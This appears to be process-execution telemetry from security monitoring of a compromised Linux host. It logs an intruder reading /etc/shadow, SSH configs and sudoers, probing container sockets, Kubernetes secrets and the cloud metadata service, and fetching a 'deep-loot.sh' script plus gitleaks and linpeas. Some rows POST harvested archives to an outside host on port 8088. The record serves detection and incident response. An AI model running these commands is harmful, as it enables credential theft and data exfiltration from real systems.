| 2026-10-31 01:24:06 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ls -la /root/.ssh /home/*/.ssh |
| 2026-10-31 01:24:06 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | cat /root/.ssh/config /home/*/.ssh/config |
| 2026-10-31 01:24:06 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ls -la /root |
| 2026-10-31 01:24:06 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ls -la /root /home |
| 2026-10-31 01:24:06 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | who |
| 2026-10-31 01:24:06 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | cat /etc/passwd |
| 2026-10-31 01:24:06 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | cat /etc/shadow |
| 2026-10-31 01:24:06 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | cat /etc/group |
| 2026-10-31 01:24:06 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ls -la /etc/sudoers.d |
| 2026-10-31 01:24:06 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | w |
| 2026-10-31 01:24:06 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | cat /etc/gshadow |
| 2026-10-31 01:24:06 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. |
| 2026-10-31 01:24:06 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | id |
| 2026-10-31 01:24:06 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 40 sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /e |
| 2026-10-31 01:24:11 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 180 -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/t1.tgz http://206.245.153.56:8088/1422/t1.tgz |
| 2026-10-31 01:24:16 | Not attributed | Not attributed | bash -> bash | curl -sS -o /tmp/deep-loot.sh http://206.245.153.56:8088/tools/deep-loot.sh |
| 2026-10-31 01:24:16 | Not attributed | Not attributed | timeout -> timeout | sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' ; sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' ; sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' ; sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' |
| 2026-10-31 01:24:16 | Not attributed | Not attributed | bash -> bash | pgrep -n passwd |
| 2026-10-31 01:24:16 | Not attributed | Not attributed | sh -> sh | curl -sSL --max-time 150 -o /tmp/.loot-tools/gl.tgz https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz |
| 2026-10-31 01:24:16 | Not attributed | Not attributed | sh -> sh | find /tmp/<REDACTED>-deep -maxdepth 1 -name gitleaks-*.json -size +2c |
| 2026-10-31 01:24:16 | Not attributed | Not attributed | sh -> sh | mkdir -p /tmp/<REDACTED>-deep /tmp/.loot-tools /tmp/.loot-home |
| 2026-10-31 01:24:16 | Not attributed | Not attributed | sh -> sh | timeout 180 sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' |
| 2026-10-31 01:24:16 | Not attributed | Not attributed | bash -> bash | sh /tmp/deep-loot.sh -i 1422 -n <REDACTED>-deep -l |
| 2026-10-31 01:24:17 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 40 sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
ec |
| 2026-10-31 01:24:17 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" |
| 2026-10-31 01:24:17 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ls -la /etc/default /etc/sysconfig |
| 2026-10-31 01:24:17 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ls -la /etc/profile.d |
| 2026-10-31 01:24:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock /run/crio/crio.sock |
| 2026-10-31 01:24:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ls -la /run/secrets /var/run/secrets |
| 2026-10-31 01:24:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ls -la /var/run/secrets/kubernetes.io/serviceaccount/ |
| 2026-10-31 01:24:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ls -la /.dockerenv /run/.containerenv |
| 2026-10-31 01:24:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m |
| 2026-10-31 01:24:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 40 sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgro |
| 2026-10-31 01:24:26 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- |
| 2026-10-31 01:24:26 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/ |
| 2026-10-31 01:24:26 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-id |
| 2026-10-31 01:24:26 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ls -la /proc/1/root |
| 2026-10-31 01:24:26 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 40 sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do |
| 2026-10-31 01:24:31 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-type |
| 2026-10-31 01:24:31 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/placement/availability-zone |
| 2026-10-31 01:24:31 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-ipv4 |
| 2026-10-31 01:24:38 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-hostname |
| 2026-10-31 01:24:38 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-ipv4 |
| 2026-10-31 01:24:45 | Not attributed | Not attributed | sh -> sh | curl -sSL --max-time 100 -o /tmp/.loot-tools/linpeas.sh https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh |
| 2026-10-31 01:24:45 | Not attributed | Not attributed | sh -> sh | curl -s -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/<REDACTED>-deep.tgz http://206.245.153.56:8088/1422/<REDACTED>-deep.tgz |
| 2026-10-31 01:24:45 | Not attributed | Not attributed | sh -> sh | ls -l /tmp/<REDACTED>-deep |
| 2026-10-31 01:24:45 | Not attributed | Not attributed | sh -> sh | find /tmp/<REDACTED>-deep -maxdepth 1 -type f -printf %P %s
|
| 2026-10-31 01:24:45 | Not attributed | Not attributed | timeout -> timeout | sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh |
| 2026-10-31 01:24:45 | Not attributed | Not attributed | sh -> sh | timeout 120 sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh |
| 2026-10-31 01:24:45 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-hostname |
| 2026-10-31 01:24:45 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/security-groups |
| 2026-10-31 01:24:45 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/info |
| 2026-10-31 01:24:52 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/openstack/latest/meta_data.json |
